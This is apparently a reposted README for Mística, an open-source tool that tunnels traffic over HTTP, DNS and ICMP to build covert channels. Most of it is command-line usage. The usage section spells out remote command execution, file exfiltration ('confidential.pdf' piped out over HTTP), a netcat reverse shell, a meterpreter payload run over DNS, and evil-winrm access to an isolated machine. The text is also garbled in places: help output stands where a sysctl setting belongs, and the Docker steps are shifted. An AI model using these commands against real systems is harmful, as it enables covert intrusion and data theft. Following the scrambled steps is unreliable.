Mistica – An Open Source Swiss Army Knife For Arbitrary Communication Over Application Protocols

Mística is a tool that allows to embed data into application layer protocol fields, with the goal of establishing a bi-directional channel for arbitrary communications. Currently, encapsulation into HTTP, DNS and ICMP protocols has been implemented, but more protocols are expected to be introduced in the near future.
Mística has a modular design, built around a custom transport protocol, called SOTP: Simple Overlay Transport Protocol. Data is encrypted, chunked and put into SOTP packets. SOTP packets are encoded and embedded into the desired field of the application protocol, and sent to the other end.
The goal of the SOTP layer is to offer a generic binary transport protocol, with minimal overhead. SOTP packets can be easily hidden or embeddeded into legitimate application protocols. Also SOTP makes sure that packets are received by the other end, encrypts the data using RC4 (this may change in the future), and makes sure that information can flow in both ways transparently, by using a polling mechanism.

Modules interact with the SOTP layer for different purposes:

• Wrap modules or Wrappers: These modules encode / decode SOTP packets from / into application layer protocols
• Overlay modules: These Modules ccommunicate over the SOTP channel. Examples are: io redirection (like netcat), shell (command execution), port forwarding…

Wrapper and overlay modules work together in order to build custom applications, e.g input redirection over DNS or remote port forwarding over HTTP.
Mística’s modular design allows for easy development of new modules. Also, the user can easily fork current modules in order to use some custom field or encoding or modify the behavior of an overlay module.
There are two main pieces of sofware:

• Mística server (ms.py): Uses modules that act as the server of the desired application layer protocol (HTTP, DNS, ICMP…). It is also designed in a way that will allow for multiple servers, wrappers and overlays to be run at the same time, with just one instance of ms.py, although this feature is not fully implemented yet.
• Mística client (mc.py): Uses modules that act as the client of the desired applicarion layer protocol (HTTP, DNS, ICMP…). It can only use one overlay and one wrapper at the same time.

Demos
You can see some Mística demos in the following playlist

Dependencies
The project has very few dependencies. Currently:

• Mística Client needs at least Python 3.7
• Mística Server needs at least Python 3.7 and dnslib.

python3.7 -m pip install pip --user
pip3.7 install dnslib --user

If you don’t want to install python on your system, you can use one of the following portable versions:

• https://www.anaconda.com/distribution/#download-section (for Windows, Linux and macOS)
• https://github.com/winpython/winpython/releases/tag/2.1.20190928 (only for Windows)

Current modules
Overlay modules:

• io: Reads from stdin, sends through SOTP connection. Reads from SOTP connection, prints to stdout
• shell: Executes commands recieved through the SOTP connection and returns the output. Compatible with io module.
• tcpconnect: Connects to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.
• tcplisten: Binds to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.

Wrap modules:

• dns: Encodes/Decodes data in DNS queries/responses using different methods
• http: Encodes/Decodes data in HTTP requests/responses using different methods
• icmp: Encodes/Decodes data in ICMP echo requests/responses on data section

Usage
ms.py: Mística Server
Here’s how the help message looks like:

usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]               [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]    Mistica server. Anything is a tunnel if you're brave enough. Run without  parameters to launch multi-handler mode.    optional arguments:    -h, --help            show this help message and exit    -k KEY, --key KEY     RC4 key used to encrypt the comunications    -l LIST, --list LIST  Lists modules or parameters. Options are: all,                          overlays, wrappers, <overlay name>, <wrapper name>    -m MODULES, --modules MODULES                          Module pair in single-handler mode. format:                          'overlay:wrapper'    -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS                          args for the selected overlay module (Single-handler                          mode)    -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS                          args for the selected wrapper module (Single-handler                          mode)    -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS                          args for the selected wrap server (Single-handler                          mode)    -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv                          Medium, -vvv High)    

There are two main modes in Mística Server:

• Single Handler Mode: When ms.py is launched with parameters, it allows a single overlay modoule interacting with a single wrapper module.
• Multi-handler Mode: (Not published yet) When ms.py is run without parameters, the user enters an interactive console, where multiple overlay and wrapper modules may be launched. These modules will be able to interact with each other, with few restrictions.

mc.py: Mística client
Here’s how the help message looks like:

usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]               [-o OVERLAY_ARGS]    Mistica client.    optional arguments:    -h, --help            show this help message and exit    -k KEY, --key KEY     RC4 key used to encrypt the comunications    -l LIST, --list LIST  Lists modules or parameters. Options are: all,                          overlays, wrappers, <overlay name>, <wrapper name>    -m MODULES, --modules MODULES                          Module pair. Format: 'overlay:wrapper'    -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS                          args for the selected overlay module    -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS                          args for the selected wrapper module    -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv                          Medium, -vvv High)    

Parameters

• -l, --list is used to either list all modules, only list one type: (overlays or wrappers) or list the parameters that a certain module can accept through -o, -w or -s.
• -k, --key is used to specify the key that will be used to encrypt the overlay communication. This must be the same in client and server and is currently mandatory. This may change in the future if secret-sharing schemes are implemented.
• -m, --modules is used to specify which module pair do you want to use. You must use the following format: overlay_module + : + wrap_module. This parameter is also mandatory.
• -w, --wrapper-args allows you to specify a particular configuration for the wrap module.
• -o, --overlay-args allows you to specify a particular configuration for the overlay module.
• -s, --wrap-server-args is only present on ms.py. It allows you to specify a particular configuration for the wrap server. Each wrap module has a dependency on a wrap server, and both configurations can be tuned

Examples and Advanced use

Remember that you can see all of the accepted parameters of a module by typing -l <module_name> (e.g ./ms.py -l dns). Also remember to use a long and complex key to protect your communications!

HTTP
In order to illustrate the different methods of HTTP encapsulation, the IO redirection overlay module (io) will be used for every example.

• HTTP GET method with b64 encoding in the default URI, using localhost and port 8080 (default values).
  • Mística Server: ./ms.py -m io:http -k "rc4testkey"
  • Mística Client: ./mc.py -m io:http -k "rc4testkey"
• HTTP GET method with b64 encoding in the default URI, specifying IP address and port.
  • Mística Server: ./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"
  • Mística Client: ./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"
• HTTP GET method with b64 encoding in custom URI, using localhost and port 8080 (default values).
  • Mística Server: ./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="
  • Mística Client: ./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="
• HTTP GET method with b64 encoding in custom header, using localhost and port 8080 (default values).
  • Mística Server: ./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"
  • Mística Client: ./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"
• HTTP POST method with b64 encoding in default field, using localhost and port 8080 (default values).
  • Mística Server: ./ms.py -m io:http -k "rc4testkey" -w "--method POST"
  • Mística Client: ./mc.py -m io:http -k "rc4testkey" -w "--method POST"
• HTTP POST method with b64 encoding in custom header, using localhost and port 8080 (default values).
  • Mística Server: ./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"
  • Mística Client: ./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"
• HTTP POST method with b64 encoding in custom field, using localhost and port 8080 (default values).
  • Mística Server: ./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"
  • Mística Client: ./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"
• HTTP POST method with b64 encoding in custom field, with custom packet size, custom retries, custom timeout and sepcifying IP and port:
  • Mística Server: ./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"
  • Mística Client: ./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"
• HTTP POST method with b64 encoding in custom field, using a custom error template, using localhost and port 8080 (default values).
  • Mística Server: ./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"
  • Mística Client: ./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"
• HTTP GET method with b64 encoding in the default URI, using custom HTTP response code and using localhost and port 8080 (default values):
  • Mística Server: ./ms.py -m io:http -k test -w "--success-code 302"
  • Mística Client: ./mc.py -m io:http -k test -w "--success-code 302"

DNS
In order to illustrate the different methods of DNS encapsulation, the IO redirection overlay module (io) will be used for every example.

• TXT query, using localhost and port 5353 (default values):
  • Mística Server: ./ms.py -m io:dns -k "rc4testkey"
  • Mística Client: ./mc.py -m io:dns -k "rc4testkey"
• NS query, using localhost and port 5353 (default values):
  • Mística Server: ./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"
  • Mística Client: ./mc.py -m io:dns -k "rc4testkey" -w "--query NS"
• CNAME query, using localhost and port 5353 (default values):
  • Mística Server: ./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"
  • Mística Client: ./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"
• MX query, using localhost and port 5353 (default values):
  • Mística Server: ./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"
  • Mística Client: ./mc.py -m io:dns -k "rc4testkey" -w "--query MX"
• SOA query, using localhost and port 5353 (default values):
  • Mística Server: ./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"
  • Mística Client: ./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"
• TXT query, using localhost and port 5353 (default values) and custom domains:
  • Mística Server: ./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"
  • Mística Client:
    • ./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"
    • ./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"
• TXT query, specifying port and hostname:
  • Mística Server: ./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"
  • Mística Client: ./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"
• TXT query, using multiple subdomains:
  • Mística Server: ./ms.py -m io:dns -k "rc4testkey"
  • Mística Client: ./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"

ICMP
The Linux kernel, when it receives an icmp echo request package, by default automatically responds with an icmp echo reply package (without giving us any option to reply). That’s why we have to disable icmp responses to be able to send our own with data that differs from that sent by the client. To do this, we do the following:
Disable automatic icmp responses by the kernel (root required) editing /etc/sysctl.conf file:

• Add the following line to your /etc/sysctl.conf:

usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
             [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]

Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     RC4 key used to encrypt the comunications
  -l LIST, --list LIST  Lists modules or parameters. Options are: all,
                        overlays, wrappers, <overlay name>, <wrapper name>
  -m MODULES, --modules MODULES
                        Module pair in single-handler mode. format:
                        'overlay:wrapper'
  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
                        args for the selected overlay module (Single-handler
                        mode)
  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
                        args for th   e selected wrapper module (Single-handler
                        mode)
  -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
                        args for the selected wrap server (Single-handler
                        mode)
  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv
                        Medium, -vvv High)

• Then, run: sysctl -p to take effect.

Now, in order to illustrate the different methods of ICMP encapsulation, the IO redirection overlay module (io) will be used for every example.

• ICMP Data Section, using interface eth0:
  • Mística Server: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
  • Mística Client: ./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"

Shell and IO
You can get remote command execution using mística over a custom channel, by combining io and shell modules. Examples:

• Executing commands on client system over DNS using TXT query.
  • Mística Server: sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"
  • Mística Client: ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"
• Executing commands on server system over HTTP using GET requests:
  • Mística Server: ./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"
  • Mística Client: ./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"
• Executing commands on client system over ICMP:
  • Mística Server: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
  • Mística Client: ./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"
• Exfiltrating files via HTTP using the IO module and redirect operators:
  • Mística Server: ./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf
  • Mística Client (important to run from the cmd): type confidential.pdf | E:MisticaWPy64-3741python-3.7.4.amd64python.exe .mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv

Port forwarding with tcpconnect and tcplisten

• Remote port forwarding (seen from server) over HTTP. Address 127.0.0.1:4444 on the client will be forwarded to address 127.0.0.1:5555 on the server. There must be already something listening on 5555.
  • Mística Server: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
  • Mística Client: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
• Local port forwarding (seen from server) over DNS. Address 127.0.0.1:4444 on the server will be forwarded to address 127.0.0.1:5555 on the client. There must be already something listening on 5555.
  • Mística Server: sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
  • Mística Client: ./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"
• HTTP reverse shell using netcat on linux client.
  • Netcat Listener (on server): nc -nlvp 5555
  • Mística Server: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
  • Mística Client: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
  • Netcat Shell (on linux client): ncat -nve /bin/bash 127.0.0.1 4444
• Running meterpreter_reverse_tcp (linux) over DNS using port forwarding. Payload generated with msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin
  • Run msfconsole on server and launch handler with: handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555
  • Mística Server: sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"
  • Mística Client: ./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
  • Run meterpreter on client: ./meterpreter_reverse_tcp_localhost_4444.bin
• EvilWinrm over ICMP using a jumping machine to access an isolated machine.
  • Mistica Server: ./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vv
  • Mistica Client: python.exe .mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vv
  • EvilWinrm Console (on C2 machine): evil-winrm -u Administrador -i 127.0.0.1 -P 5555

Docker
A Docker image has been created for local use. This avoids us having to install Python or dnslib only if we want to test the tool, it is also very interesting for debug or similar because we avoid the noise generated by other local applications. To build it we simply follow these steps:

• First build image with:

usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
             [-o OVERLAY_ARGS]

Mistica client.

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     RC4 key used to encrypt the comunications
  -l LIST, --list LIST  Lists modules or parameters. Options are: all,
                        overlays, wrappers, <overlay name>, <wrapper name>
  -m MODULES, --modules MODULES
                        Module pair. Format: 'overlay:wrapper'
  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
                        args for the selected overlay module
  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
                        args for the selected wrapper module
  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv
                        Medium, -vvv High)

• Second, create the network with:

net.ipv4.icmp_echo_ignore_all=1

• Third run the server with:

sudo docker build --tag mistica:latest .

• Fourth run the client with:

sudo docker network create misticanw

Future work

• Transparent Diffie-Hellman key generation for SOTP protocol
• Payload Generator: Instead of using ./mc.py, this will allow generating specific and minimalistic standalone binary clients with hardcoded parameters.
• Multi-Handler mode: Interactive mode for ms.py. This will let the user combine more than one overlay with more than one wrapper and more than one wrap module per wrap server.
• Module development documentation for custom module development. This is discouraged right now as module specification is still under development.
• Next modules:
  • HTTPS wrapper
  • SMB wrapper
  • RAT and RAT handler overlay
  • SOCKS proxy and dynamic port forwarding overlay
  • File Transfer overlay
• Custom HTTP templates for more complex encapsulation
• SOTP protocol specification documentation for custom clients or servers. This is discouraged right now as the protocol is still under development.

Authors and license
This project has been developed by Carlos Fernández Sánchez and Raúl Caro Teixidó. The code is released under the GNU General Public License v3.
This project uses third-party open-source code, particularly:

• Bitstring developed by Scott Griffiths.
• A RC4 binary-safe developed by David Buchanan.
• A DNS Client without dependencies developed by Vlad Vitan.
• A ICMP Server and Client without dependencies developed by Raul Caro.